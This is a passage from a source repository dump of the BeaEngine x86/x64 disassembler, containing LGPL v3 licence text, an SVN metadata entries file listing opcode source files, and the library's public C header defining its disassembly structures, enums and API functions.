Incorporating Material from Library Header Files. 64 | 65 | The object code form of an Application may incorporate material from 66 | a header file that is part of the Library. You may convey such object 67 | code under terms of your choice, provided that, if the incorporated 68 | material is not limited to numerical parameters, data structure 69 | layouts and accessors, or small macros, inline functions and templates 70 | (ten or fewer lines in length), you do both of the following: 71 | 72 | a) Give prominent notice with each copy of the object code that the 73 | Library is used in it and that the Library and its use are 74 | covered by this License. 75 | 76 | b) Accompany the object code with a copy of the GNU GPL and this license 77 | document. 78 | 79 | 4. Combined Works. 80 | 81 | You may convey a Combined Work under terms of your choice that, 82 | taken together, effectively do not restrict modification of the 83 | portions of the Library contained in the Combined Work and reverse 84 | engineering for debugging such modifications, if you also do each of 85 | the following: 86 | 87 | a) Give prominent notice with each copy of the Combined Work that 88 | the Library is used in it and that the Library and its use are 89 | covered by this License. 90 | 91 | b) Accompany the Combined Work with a copy of the GNU GPL and this license 92 | document. 93 | 94 | c) For a Combined Work that displays copyright notices during 95 | execution, include the copyright notice for the Library among 96 | these notices, as well as a reference directing the user to the 97 | copies of the GNU GPL and this license document. 98 | 99 | d) Do one of the following: 100 | 101 | 0) Convey the Minimal Corresponding Source under the terms of this 102 | License, and the Corresponding Application Code in a form 103 | suitable for, and under terms that permit, the user to 104 | recombine or relink the Application with a modified version of 105 | the Linked Version to produce a modified Combined Work, in the 106 | manner specified by section 6 of the GNU GPL for conveying 107 | Corresponding Source. 108 | 109 | 1) Use a suitable shared library mechanism for linking with the 110 | Library. A suitable mechanism is one that (a) uses at run time 111 | a copy of the Library already present on the user's computer 112 | system, and (b) will operate properly with a modified version 113 | of the Library that is interface-compatible with the Linked 114 | Version. 115 | 116 | e) Provide Installation Information, but only if you would otherwise 117 | be required to provide such information under section 6 of the 118 | GNU GPL, and only to the extent that such information is 119 | necessary to install and execute a modified version of the 120 | Combined Work produced by recombining or relinking the 121 | Application with a modified version of the Linked Version. (If 122 | you use option 4d0, the Installation Information must accompany 123 | the Minimal Corresponding Source and Corresponding Application 124 | Code. If you use option 4d1, you must provide the Installation 125 | Information in the manner specified by section 6 of the GNU GPL 126 | for conveying Corresponding Source.) 127 | 128 | 5. Combined Libraries. 129 | 130 | You may place library facilities that are a work based on the 131 | Library side by side in a single library together with other library 132 | facilities that are not Applications and are not covered by this 133 | License, and convey such a combined library under terms of your 134 | choice, if you do both of the following: 135 | 136 | a) Accompany the combined library with a copy of the same work based 137 | on the Library, uncombined with any other library facilities, 138 | conveyed under the terms of this License. 139 | 140 | b) Give prominent notice with the combined library that part of it 141 | is a work based on the Library, and explaining where to find the 142 | accompanying uncombined form of the same work. 143 | 144 | 6. Revised Versions of the GNU Lesser General Public License. 145 | 146 | The Free Software Foundation may publish revised and/or new versions 147 | of the GNU Lesser General Public License from time to time. Such new 148 | versions will be similar in spirit to the present version, but may 149 | differ in detail to address new problems or concerns. 150 | 151 | Each version is given a distinguishing version number. If the 152 | Library as you received it specifies that a certain numbered version 153 | of the GNU Lesser General Public License "or any later version" 154 | applies to it, you have the option of following the terms and 155 | conditions either of that published version or of any later version 156 | published by the Free Software Foundation. If the Library as you 157 | received it does not specify a version number of the GNU Lesser 158 | General Public License, you may choose any version of the GNU Lesser 159 | General Public License ever published by the Free Software Foundation. 160 | 161 | If the Library as you received it specifies that a proxy can decide 162 | whether future versions of the GNU Lesser General Public License shall 163 | apply, that proxy's public statement of acceptance of any version is 164 | permanent authorization for you to choose that version for the 165 | Library. 166 | -------------------------------------------------------------------------------- /beaengineSources/.svn/text-base/COPYING.LESSER.txt.svn-base: -------------------------------------------------------------------------------- 1 | GNU LESSER GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | 9 | This version of the GNU Lesser General Public License incorporates 10 | the terms and conditions of version 3 of the GNU General Public 11 | License, supplemented by the additional permissions listed below. 12 | 13 | 0. Additional Definitions. 14 | 15 | As used herein, "this License" refers to version 3 of the GNU Lesser 16 | General Public License, and the "GNU GPL" refers to version 3 of the GNU 17 | General Public License. 18 | 19 | "The Library" refers to a covered work governed by this License, 20 | other than an Application or a Combined Work as defined below. 21 | 22 | An "Application" is any work that makes use of an interface provided 23 | by the Library, but which is not otherwise based on the Library. 24 | Defining a subclass of a class defined by the Library is deemed a mode 25 | of using an interface provided by the Library. 26 | 27 | A "Combined Work" is a work produced by combining or linking an 28 | Application with the Library. The particular version of the Library 29 | with which the Combined Work was made is also called the "Linked 30 | Version". 31 | 32 | The "Minimal Corresponding Source" for a Combined Work means the 33 | Corresponding Source for the Combined Work, excluding any source code 34 | for portions of the Combined Work that, considered in isolation, are 35 | based on the Application, and not on the Linked Version. 36 | 37 | The "Corresponding Application Code" for a Combined Work means the 38 | object code and/or source code for the Application, including any data 39 | and utility programs needed for reproducing the Combined Work from the 40 | Application, but excluding the System Libraries of the Combined Work. 41 | 42 | 1. Exception to Section 3 of the GNU GPL. 43 | 44 | You may convey a covered work under sections 3 and 4 of this License 45 | without being bound by section 3 of the GNU GPL. 46 | 47 | 2. Conveying Modified Versions. 48 | 49 | If you modify a copy of the Library, and, in your modifications, a 50 | facility refers to a function or data to be supplied by an Application 51 | that uses the facility (other than as an argument passed when the 52 | facility is invoked), then you may convey a copy of the modified 53 | version: 54 | 55 | a) under this License, provided that you make a good faith effort to 56 | ensure that, in the event an Application does not supply the 57 | function or data, the facility still operates, and performs 58 | whatever part of its purpose remains meaningful, or 59 | 60 | b) under the GNU GPL, with none of the additional permissions of 61 | this License applicable to that copy. 62 | 63 | 3. Object Code Incorporating Material from Library Header Files. 64 | 65 | The object code form of an Application may incorporate material from 66 | a header file that is part of the Library. You may convey such object 67 | code under terms of your choice, provided that, if the incorporated 68 | material is not limited to numerical parameters, data structure 69 | layouts and accessors, or small macros, inline functions and templates 70 | (ten or fewer lines in length), you do both of the following: 71 | 72 | a) Give prominent notice with each copy of the object code that the 73 | Library is used in it and that the Library and its use are 74 | covered by this License. 75 | 76 | b) Accompany the object code with a copy of the GNU GPL and this license 77 | document. 78 | 79 | 4. Combined Works. 80 | 81 | You may convey a Combined Work under terms of your choice that, 82 | taken together, effectively do not restrict modification of the 83 | portions of the Library contained in the Combined Work and reverse 84 | engineering for debugging such modifications, if you also do each of 85 | the following: 86 | 87 | a) Give prominent notice with each copy of the Combined Work that 88 | the Library is used in it and that the Library and its use are 89 | covered by this License. 90 | 91 | b) Accompany the Combined Work with a copy of the GNU GPL and this license 92 | document. 93 | 94 | c) For a Combined Work that displays copyright notices during 95 | execution, include the copyright notice for the Library among 96 | these notices, as well as a reference directing the user to the 97 | copies of the GNU GPL and this license document. 98 | 99 | d) Do one of the following: 100 | 101 | 0) Convey the Minimal Corresponding Source under the terms of this 102 | License, and the Corresponding Application Code in a form 103 | suitable for, and under terms that permit, the user to 104 | recombine or relink the Application with a modified version of 105 | the Linked Version to produce a modified Combined Work, in the 106 | manner specified by section 6 of the GNU GPL for conveying 107 | Corresponding Source. 108 | 109 | 1) Use a suitable shared library mechanism for linking with the 110 | Library. A suitable mechanism is one that (a) uses at run time 111 | a copy of the Library already present on the user's computer 112 | system, and (b) will operate properly with a modified version 113 | of the Library that is interface-compatible with the Linked 114 | Version. 115 | 116 | e) Provide Installation Information, but only if you would otherwise 117 | be required to provide such information under section 6 of the 118 | GNU GPL, and only to the extent that such information is 119 | necessary to install and execute a modified version of the 120 | Combined Work produced by recombining or relinking the 121 | Application with a modified version of the Linked Version. (If 122 | you use option 4d0, the Installation Information must accompany 123 | the Minimal Corresponding Source and Corresponding Application 124 | Code. If you use option 4d1, you must provide the Installation 125 | Information in the manner specified by section 6 of the GNU GPL 126 | for conveying Corresponding Source.) 127 | 128 | 5. Combined Libraries. 129 | 130 | You may place library facilities that are a work based on the 131 | Library side by side in a single library together with other library 132 | facilities that are not Applications and are not covered by this 133 | License, and convey such a combined library under terms of your 134 | choice, if you do both of the following: 135 | 136 | a) Accompany the combined library with a copy of the same work based 137 | on the Library, uncombined with any other library facilities, 138 | conveyed under the terms of this License. 139 | 140 | b) Give prominent notice with the combined library that part of it 141 | is a work based on the Library, and explaining where to find the 142 | accompanying uncombined form of the same work. 143 | 144 | 6. Revised Versions of the GNU Lesser General Public License. 145 | 146 | The Free Software Foundation may publish revised and/or new versions 147 | of the GNU Lesser General Public License from time to time. Such new 148 | versions will be similar in spirit to the present version, but may 149 | differ in detail to address new problems or concerns. 150 | 151 | Each version is given a distinguishing version number. If the 152 | Library as you received it specifies that a certain numbered version 153 | of the GNU Lesser General Public License "or any later version" 154 | applies to it, you have the option of following the terms and 155 | conditions either of that published version or of any later version 156 | published by the Free Software Foundation. If the Library as you 157 | received it does not specify a version number of the GNU Lesser 158 | General Public License, you may choose any version of the GNU Lesser 159 | General Public License ever published by the Free Software Foundation. 160 | 161 | If the Library as you received it specifies that a proxy can decide 162 | whether future versions of the GNU Lesser General Public License shall 163 | apply, that proxy's public statement of acceptance of any version is 164 | permanent authorization for you to choose that version for the 165 | Library. 166 | -------------------------------------------------------------------------------- /beaengineSources/Includes/instr_set/.svn/entries: -------------------------------------------------------------------------------- 1 | 10 2 | 3 | dir 4 | 175 5 | http://beaengine.googlecode.com/svn/branches/reg_test/beaengineSources/Includes/instr_set 6 | http://beaengine.googlecode.com/svn 7 | 8 | 9 | 10 | 2010-05-27T21:00:34.026802Z 11 | 123 12 | beaengine 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | e67b0f8a-f93e-11de-ba51-6b4196a2b81e 28 | 29 | opcodes_prefixes.c 30 | file 31 | 32 | 33 | 34 | 35 | 2016-03-16T14:59:57.239914Z 36 | db08acbb9a31a53abad0416c37e0fb7d 37 | 2010-04-29T09:08:57.642807Z 38 | 108 39 | beaengine 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 8816 62 | 63 | opcodes_N_Z.c 64 | file 65 | 66 | 67 | 68 | 69 | 2016-03-16T14:59:57.239914Z 70 | 5b6b1e4288d3a585a45ea31e0480c6b2 71 | 2010-05-25T18:06:33.849035Z 72 | 120 73 | beaengine 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 116179 96 | 97 | opcodes_SSE.c 98 | file 99 | 100 | 101 | 102 | 103 | 2016-03-16T14:59:57.239914Z 104 | 5984f4f6a46565421bd87007fb899af4 105 | 2010-05-27T21:00:34.026802Z 106 | 123 107 | beaengine 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 143231 130 | 131 | opcodes_FPU.c 132 | file 133 | 134 | 135 | 136 | 137 | 2016-03-16T14:59:57.239914Z 138 | e9d329830f1105c3a2bdceca37ebdb5b 139 | 2010-05-26T12:54:26.815970Z 140 | 121 141 | beaengine 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | 163 | 69648 164 | 165 | Data_opcode.h 166 | file 167 | 168 | 169 | 170 | 171 | 2016-03-16T14:59:57.239914Z 172 | 9c1ca9a92d637ad1bdc83cdc32b9660a 173 | 2010-04-26T16:02:34.647917Z 174 | 101 175 | beaengine 176 | 177 | 178 | 179 | 180 | 181 | 182 | 183 | 184 | 185 | 186 | 187 | 188 | 189 | 190 | 191 | 192 | 193 | 194 | 195 | 196 | 197 | 16197 198 | 199 | opcodes_Grp12.c 200 | file 201 | 202 | 203 | 204 | 205 | 2016-03-16T14:59:57.239914Z 206 | 0fda8070ed45f9a46ca28d2bf9d08ed1 207 | 2010-04-27T11:31:39.213324Z 208 | 105 209 | beaengine 210 | 211 | 212 | 213 | 214 | 215 | 216 | 217 | 218 | 219 | 220 | 221 | 222 | 223 | 224 | 225 | 226 | 227 | 228 | 229 | 230 | 231 | 6854 232 | 233 | opcodes_Grp13.c 234 | file 235 | 236 | 237 | 238 | 239 | 2016-03-16T14:59:57.239914Z 240 | 7619d6906e6a92807994cefd4186779a 241 | 2010-04-27T11:31:39.213324Z 242 | 105 243 | beaengine 244 | 245 | 246 | 247 | 248 | 249 | 250 | 251 | 252 | 253 | 254 | 255 | 256 | 257 | 258 | 259 | 260 | 261 | 262 | 263 | 264 | 265 | 6854 266 | 267 | opcodes_A_M.c 268 | file 269 | 270 | 271 | 272 | 273 | 2016-03-16T14:59:57.239914Z 274 | b01073b714d3f1be101e9ec1c0e73400 275 | 2010-05-18T19:16:46.159890Z 276 | 114 277 | beaengine 278 | 279 | 280 | 281 | 282 | 283 | 284 | 285 | 286 | 287 | 288 | 289 | 290 | 291 | 292 | 293 | 294 | 295 | 296 | 297 | 298 | 299 | 217440 300 | 301 | opcodes_Grp14.c 302 | file 303 | 304 | 305 | 306 | 307 | 2016-03-16T14:59:57.239914Z 308 | f8624700fad451a7fcc96faf1e42d57f 309 | 2010-04-27T11:31:39.213324Z 310 | 105 311 | beaengine 312 | 313 | 314 | 315 | 316 | 317 | 318 | 319 | 320 | 321 | 322 | 323 | 324 | 325 | 326 | 327 | 328 | 329 | 330 | 331 | 332 | 333 | 7038 334 | 335 | opcodes_Grp15.c 336 | file 337 | 338 | 339 | 340 | 341 | 2016-03-16T14:59:57.239914Z 342 | ad71a0d9777fe0b1bcbca5a5da17d7a9 343 | 2010-04-27T11:31:39.213324Z 344 | 105 345 | beaengine 346 | 347 | 348 | 349 | 350 | 351 | 352 | 353 | 354 | 355 | 356 | 357 | 358 | 359 | 360 | 361 | 362 | 363 | 364 | 365 | 366 | 367 | 5703 368 | 369 | opcodes_Grp16.c 370 | file 371 | 372 | 373 | 374 | 375 | 2016-03-16T14:59:57.239914Z 376 | fa1efea0eeeb2a0223ceafe05a3f7869 377 | 2010-04-27T11:31:39.213324Z 378 | 105 379 | beaengine 380 | 381 | 382 | 383 | 384 | 385 | 386 | 387 | 388 | 389 | 390 | 391 | 392 | 393 | 394 | 395 | 396 | 397 | 398 | 399 | 400 | 401 | 2723 402 | 403 | opcodes_MMX.c 404 | file 405 | 406 | 407 | 408 | 409 | 2016-03-16T14:59:57.239914Z 410 | bd780002f3b5d42cd38830a879b4c6bd 411 | 2010-05-20T18:50:43.110985Z 412 | 115 413 | beaengine 414 | 415 | 416 | 417 | 418 | 419 | 420 | 421 | 422 | 423 | 424 | 425 | 426 | 427 | 428 | 429 | 430 | 431 | 432 | 433 | 434 | 435 | 53552 436 | 437 | opcodes_AES.c 438 | file 439 | 440 | 441 | 442 | 443 | 2016-03-16T14:59:57.239914Z 444 | f356dca32e743569bfc8eac806344ba8 445 | 2010-04-27T11:31:39.213324Z 446 | 105 447 | beaengine 448 | 449 | 450 | 451 | 452 | 453 | 454 | 455 | 456 | 457 | 458 | 459 | 460 | 461 | 462 | 463 | 464 | 465 | 466 | 467 | 468 | 469 | 5331 470 | 471 | opcodes_Grp1.c 472 | file 473 | 474 | 475 | 476 | 477 | 2016-03-16T14:59:57.239914Z 478 | 2316d5b807d6bec041aeb7582ec03bee 479 | 2010-04-27T11:31:39.213324Z 480 | 105 481 | beaengine 482 | 483 | 484 | 485 | 486 | 487 | 488 | 489 | 490 | 491 | 492 | 493 | 494 | 495 | 496 | 497 | 498 | 499 | 500 | 501 | 502 | 503 | 10571 504 | 505 | opcodes_Grp2.c 506 | file 507 | 508 | 509 | 510 | 511 | 2016-03-16T14:59:57.239914Z 512 | e3683f70b2d60cdb2a2b2e57f6988f7d 513 | 2010-04-27T11:31:39.213324Z 514 | 105 515 | beaengine 516 | 517 | 518 | 519 | 520 | 521 | 522 | 523 | 524 | 525 | 526 | 527 | 528 | 529 | 530 | 531 | 532 | 533 | 534 | 535 | 536 | 537 | 15087 538 | 539 | opcodes_Grp3.c 540 | file 541 | 542 | 543 | 544 | 545 | 2016-03-16T14:59:57.239914Z 546 | 84bd09ae6d9e7d7e8b08350b53da8ee0 547 | 2010-04-27T11:31:39.213324Z 548 | 105 549 | beaengine 550 | 551 | 552 | 553 | 554 | 555 | 556 | 557 | 558 | 559 | 560 | 561 | 562 | 563 | 564 | 565 | 566 | 567 | 568 | 569 | 570 | 571 | 8799 572 | 573 | opcodes_Grp4.c 574 | file 575 | 576 | 577 | 578 | 579 | 2016-03-16T14:59:57.239914Z 580 | a222ce9d7bed3b7f9aa3aba8b8dd8ed6 581 | 2010-04-27T11:31:39.213324Z 582 | 105 583 | beaengine 584 | 585 | 586 | 587 | 588 | 589 | 590 | 591 | 592 | 593 | 594 | 595 | 596 | 597 | 598 | 599 | 600 | 601 | 602 | 603 | 604 | 605 | 1895 606 | 607 | opcodes_CLMUL.c 608 | file 609 | 610 | 611 | 612 | 613 | 2016-03-16T14:59:57.239914Z 614 | 06e64c90298d7ad9d55cb1d2a4e8f8c7 615 | 2010-04-27T11:31:39.213324Z 616 | 105 617 | beaengine 618 | 619 | 620 | 621 | 622 | 623 | 624 | 625 | 626 | 627 | 628 | 629 | 630 | 631 | 632 | 633 | 634 | 635 | 636 | 637 | 638 | 639 | 2517 640 | 641 | opcodes_Grp5.c 642 | file 643 | 644 | 645 | 646 | 647 | 2016-03-16T14:59:57.239914Z 648 | 687689bddac70d937655ed3157f5775e 649 | 2010-04-27T11:31:39.213324Z 650 | 105 651 | beaengine 652 | 653 | 654 | 655 | 656 | 657 | 658 | 659 | 660 | 661 | 662 | 663 | 664 | 665 | 666 | 667 | 668 | 669 | 670 | 671 | 672 | 673 | 5309 674 | 675 | opcodes_Grp6.c 676 | file 677 | 678 | 679 | 680 | 681 | 2016-03-16T14:59:57.239914Z 682 | ae9629e9e1b07e097a198f7b471a8273 683 | 2010-04-27T19:46:33.477675Z 684 | 107 685 | beaengine 686 | 687 | 688 | 689 | 690 | 691 | 692 | 693 | 694 | 695 | 696 | 697 | 698 | 699 | 700 | 701 | 702 | 703 | 704 | 705 | 706 | 707 | 4159 708 | 709 | opcodes_Grp7.c 710 | file 711 | 712 | 713 | 714 | 715 | 2016-03-16T14:59:57.239914Z 716 | e32be4ba0956ee67918df6549e04c7b9 717 | 2010-04-27T11:31:39.213324Z 718 | 105 719 | beaengine 720 | 721 | 722 | 723 | 724 | 725 | 726 | 727 | 728 | 729 | 730 | 731 | 732 | 733 | 734 | 735 | 736 | 737 | 738 | 739 | 740 | 741 | 9495 742 | 743 | opcodes_Grp8.c 744 | file 745 | 746 | 747 | 748 | 749 | 2016-03-16T14:59:57.239914Z 750 | 4b610a0dca5871103bc782c9fb7c0a65 751 | 2010-04-27T11:31:39.213324Z 752 | 105 753 | beaengine 754 | 755 | 756 | 757 | 758 | 759 | 760 | 761 | 762 | 763 | 764 | 765 | 766 | 767 | 768 | 769 | 770 | 771 | 772 | 773 | 774 | 775 | 2624 776 | 777 | opcodes_Grp9.c 778 | file 779 | 780 | 781 | 782 | 783 | 2016-03-16T14:59:57.239914Z 784 | 3664f31508f3b596ec8016d4584c47f9 785 | 2010-05-27T21:00:34.026802Z 786 | 123 787 | beaengine 788 | 789 | 790 | 791 | 792 | 793 | 794 | 795 | 796 | 797 | 798 | 799 | 800 | 801 | 802 | 803 | 804 | 805 | 806 | 807 | 808 | 809 | 2912 810 | 811 | -------------------------------------------------------------------------------- /include/beaengine/BeaEngine.h: -------------------------------------------------------------------------------- 1 | #ifndef _BEA_ENGINE_ 2 | #define _BEA_ENGINE_ 3 | 4 | #include "macros.h" 5 | #include "export.h" 6 | #include "basic_types.h" 7 | 8 | #if !defined(BEA_ENGINE_STATIC) 9 | #if defined(BUILD_BEA_ENGINE_DLL) 10 | #define BEA_API bea__api_export__ 11 | #else 12 | #define BEA_API bea__api_import__ 13 | #endif 14 | #else 15 | #define BEA_API 16 | #endif 17 | 18 | 19 | #define INSTRUCT_LENGTH 64 20 | 21 | #pragma pack(1) 22 | typedef struct { 23 | UInt8 W_; 24 | UInt8 R_; 25 | UInt8 X_; 26 | UInt8 B_; 27 | UInt8 state; 28 | } REX_Struct ; 29 | #pragma pack() 30 | 31 | #pragma pack(1) 32 | typedef struct { 33 | int Number; 34 | int NbUndefined; 35 | UInt8 LockPrefix; 36 | UInt8 OperandSize; 37 | UInt8 AddressSize; 38 | UInt8 RepnePrefix; 39 | UInt8 RepPrefix; 40 | UInt8 FSPrefix; 41 | UInt8 SSPrefix; 42 | UInt8 GSPrefix; 43 | UInt8 ESPrefix; 44 | UInt8 CSPrefix; 45 | UInt8 DSPrefix; 46 | UInt8 BranchTaken; 47 | UInt8 BranchNotTaken; 48 | REX_Struct REX; 49 | } PREFIXINFO ; 50 | #pragma pack() 51 | 52 | #pragma pack(1) 53 | typedef struct { 54 | UInt8 OF_; 55 | UInt8 SF_; 56 | UInt8 ZF_; 57 | UInt8 AF_; 58 | UInt8 PF_; 59 | UInt8 CF_; 60 | UInt8 TF_; 61 | UInt8 IF_; 62 | UInt8 DF_; 63 | UInt8 NT_; 64 | UInt8 RF_; 65 | UInt8 alignment; 66 | } EFLStruct ; 67 | #pragma pack() 68 | 69 | #pragma pack(4) 70 | typedef struct { 71 | Int32 BaseRegister; 72 | Int32 IndexRegister; 73 | Int32 Scale; 74 | Int64 Displacement; 75 | } MEMORYTYPE ; 76 | #pragma pack() 77 | 78 | 79 | #pragma pack(1) 80 | typedef struct { 81 | Int32 Category; 82 | Int32 Opcode; 83 | char Mnemonic[16]; 84 | Int32 BranchType; 85 | EFLStruct Flags; 86 | UInt64 AddrValue; 87 | Int64 Immediat; 88 | UInt32 ImplicitModifiedRegs; 89 | } INSTRTYPE; 90 | #pragma pack() 91 | 92 | #pragma pack(1) 93 | typedef struct { 94 | char ArgMnemonic[32]; 95 | Int32 ArgType; 96 | Int32 ArgSize; 97 | UInt32 AccessMode; 98 | MEMORYTYPE Memory; 99 | UInt32 SegmentReg; 100 | } ARGTYPE; 101 | #pragma pack() 102 | 103 | /* reserved structure used for thread-safety */ 104 | /* unusable by customer */ 105 | #pragma pack(1) 106 | typedef struct { 107 | UIntPtr EIP_; 108 | UInt64 EIP_VA; 109 | UIntPtr EIP_REAL; 110 | Int32 OriginalOperandSize; 111 | Int32 OperandSize; 112 | Int32 MemDecoration; 113 | Int32 AddressSize; 114 | Int32 MOD_; 115 | Int32 RM_; 116 | Int32 INDEX_; 117 | Int32 SCALE_; 118 | Int32 BASE_; 119 | Int32 MMX_; 120 | Int32 SSE_; 121 | Int32 CR_; 122 | Int32 DR_; 123 | Int32 SEG_; 124 | Int32 REGOPCODE; 125 | UInt32 DECALAGE_EIP; 126 | Int32 FORMATNUMBER; 127 | Int32 SYNTAX_; 128 | UInt64 EndOfBlock; 129 | Int32 RelativeAddress; 130 | UInt32 Architecture; 131 | Int32 ImmediatSize; 132 | Int32 NB_PREFIX; 133 | Int32 PrefRepe; 134 | Int32 PrefRepne; 135 | UInt32 SEGMENTREGS; 136 | UInt32 SEGMENTFS; 137 | Int32 third_arg; 138 | Int32 TAB_; 139 | Int32 ERROR_OPCODE; 140 | REX_Struct REX; 141 | } InternalDatas; 142 | #pragma pack() 143 | 144 | /* ************** main structure ************ */ 145 | #pragma pack(1) 146 | typedef struct _Disasm { 147 | UIntPtr EIP; 148 | UInt64 VirtualAddr; 149 | UIntPtr SecurityBlock; 150 | char CompleteInstr[INSTRUCT_LENGTH]; 151 | UInt32 Archi; 152 | UInt64 Options; 153 | INSTRTYPE Instruction; 154 | ARGTYPE Argument1; 155 | ARGTYPE Argument2; 156 | ARGTYPE Argument3; 157 | PREFIXINFO Prefix; 158 | InternalDatas Reserved_; 159 | } DISASM, *PDISASM, *LPDISASM; 160 | #pragma pack() 161 | 162 | #define ESReg 1 163 | #define DSReg 2 164 | #define FSReg 3 165 | #define GSReg 4 166 | #define CSReg 5 167 | #define SSReg 6 168 | 169 | #define InvalidPrefix 4 170 | #define SuperfluousPrefix 2 171 | #define NotUsedPrefix 0 172 | #define MandatoryPrefix 8 173 | #define InUsePrefix 1 174 | 175 | enum INSTRUCTION_TYPE 176 | { 177 | GENERAL_PURPOSE_INSTRUCTION = 0x10000, 178 | FPU_INSTRUCTION = 0x20000, 179 | MMX_INSTRUCTION = 0x40000, 180 | SSE_INSTRUCTION = 0x80000, 181 | SSE2_INSTRUCTION = 0x100000, 182 | SSE3_INSTRUCTION = 0x200000, 183 | SSSE3_INSTRUCTION = 0x400000, 184 | SSE41_INSTRUCTION = 0x800000, 185 | SSE42_INSTRUCTION = 0x1000000, 186 | SYSTEM_INSTRUCTION = 0x2000000, 187 | VM_INSTRUCTION = 0x4000000, 188 | UNDOCUMENTED_INSTRUCTION = 0x8000000, 189 | AMD_INSTRUCTION = 0x10000000, 190 | ILLEGAL_INSTRUCTION = 0x20000000, 191 | AES_INSTRUCTION = 0x40000000, 192 | CLMUL_INSTRUCTION = (int)0x80000000, 193 | 194 | 195 | DATA_TRANSFER = 0x1, 196 | ARITHMETIC_INSTRUCTION, 197 | LOGICAL_INSTRUCTION, 198 | SHIFT_ROTATE, 199 | BIT_UInt8, 200 | CONTROL_TRANSFER, 201 | STRING_INSTRUCTION, 202 | InOutINSTRUCTION, 203 | ENTER_LEAVE_INSTRUCTION, 204 | FLAG_CONTROL_INSTRUCTION, 205 | SEGMENT_REGISTER, 206 | MISCELLANEOUS_INSTRUCTION, 207 | COMPARISON_INSTRUCTION, 208 | LOGARITHMIC_INSTRUCTION, 209 | TRIGONOMETRIC_INSTRUCTION, 210 | UNSUPPORTED_INSTRUCTION, 211 | LOAD_CONSTANTS, 212 | FPUCONTROL, 213 | STATE_MANAGEMENT, 214 | CONVERSION_INSTRUCTION, 215 | SHUFFLE_UNPACK, 216 | PACKED_SINGLE_PRECISION, 217 | SIMD128bits, 218 | SIMD64bits, 219 | CACHEABILITY_CONTROL, 220 | FP_INTEGER_CONVERSION, 221 | SPECIALIZED_128bits, 222 | SIMD_FP_PACKED, 223 | SIMD_FP_HORIZONTAL , 224 | AGENT_SYNCHRONISATION, 225 | PACKED_ALIGN_RIGHT , 226 | PACKED_SIGN, 227 | PACKED_BLENDING_INSTRUCTION, 228 | PACKED_TEST, 229 | PACKED_MINMAX, 230 | HORIZONTAL_SEARCH, 231 | PACKED_EQUALITY, 232 | STREAMING_LOAD, 233 | INSERTION_EXTRACTION, 234 | DOT_PRODUCT, 235 | SAD_INSTRUCTION, 236 | ACCELERATOR_INSTRUCTION, /* crc32, popcnt (sse4.2) */ 237 | ROUND_INSTRUCTION 238 | 239 | }; 240 | 241 | enum EFLAGS_STATES 242 | { 243 | TE_ = 1, 244 | MO_ = 2, 245 | RE_ = 4, 246 | SE_ = 8, 247 | UN_ = 0x10, 248 | PR_ = 0x20 249 | }; 250 | 251 | enum BRANCH_TYPE 252 | { 253 | JO = 1, 254 | JC, 255 | JE, 256 | JA, 257 | JS, 258 | JP, 259 | JL, 260 | JG, 261 | JB, 262 | JECXZ, 263 | JmpType, 264 | CallType, 265 | RetType, 266 | JNO = -1, 267 | JNC = -2, 268 | JNE = -3, 269 | JNA = -4, 270 | JNS = -5, 271 | JNP = -6, 272 | JNL = -7, 273 | JNG = -8, 274 | JNB = -9 275 | }; 276 | 277 | enum ARGUMENTS_TYPE 278 | { 279 | NO_ARGUMENT = 0x10000000, 280 | REGISTER_TYPE = 0x20000000, 281 | MEMORY_TYPE = 0x40000000, 282 | CONSTANT_TYPE = (int)0x80000000, 283 | 284 | MMX_REG = 0x10000, 285 | GENERAL_REG = 0x20000, 286 | FPU_REG = 0x40000, 287 | SSE_REG = 0x80000, 288 | CR_REG = 0x100000, 289 | DR_REG = 0x200000, 290 | SPECIAL_REG = 0x400000, 291 | MEMORY_MANAGEMENT_REG = 0x800000, 292 | SEGMENT_REG = 0x1000000, 293 | 294 | RELATIVE_ = 0x4000000, 295 | ABSOLUTE_ = 0x8000000, 296 | 297 | READ_B = 0x1, 298 | WRITE_B = 0x2, 299 | 300 | REG0 = 0x1, 301 | REG1 = 0x2, 302 | REG2 = 0x4, 303 | REG3 = 0x8, 304 | REG4 = 0x10, 305 | REG5 = 0x20, 306 | REG6 = 0x40, 307 | REG7 = 0x80, 308 | REG8 = 0x100, 309 | REG9 = 0x200, 310 | REG10 = 0x400, 311 | REG11 = 0x800, 312 | REG12 = 0x1000, 313 | REG13 = 0x2000, 314 | REG14 = 0x4000, 315 | REG15 = 0x8000 316 | }; 317 | 318 | enum SPECIAL_INFO 319 | { 320 | UNKNOWN_OPCODE = -1, 321 | OUT_OF_BLOCK = 0, 322 | 323 | /* === mask = 0xff */ 324 | NoTabulation = 0x00000000, 325 | Tabulation = 0x00000001, 326 | 327 | /* === mask = 0xff00 */ 328 | MasmSyntax = 0x00000000, 329 | GoAsmSyntax = 0x00000100, 330 | NasmSyntax = 0x00000200, 331 | ATSyntax = 0x00000400, 332 | 333 | /* === mask = 0xff0000 */ 334 | PrefixedNumeral = 0x00010000, 335 | SuffixedNumeral = 0x00000000, 336 | 337 | /* === mask = 0xff000000 */ 338 | ShowSegmentRegs = 0x01000000 339 | }; 340 | 341 | 342 | #ifdef __cplusplus 343 | extern "C" 344 | #endif 345 | 346 | BEA_API int __bea_callspec__ Disasm (LPDISASM pDisAsm); 347 | BEA_API const char* __bea_callspec__ BeaEngineVersion (void); 348 | BEA_API const char* __bea_callspec__ BeaEngineRevision (void); 349 | #endif 350 | -------------------------------------------------------------------------------- /include/beaengine/.svn/text-base/BeaEngine.h.svn-base: -------------------------------------------------------------------------------- 1 | #ifndef _BEA_ENGINE_ 2 | #define _BEA_ENGINE_ 3 | 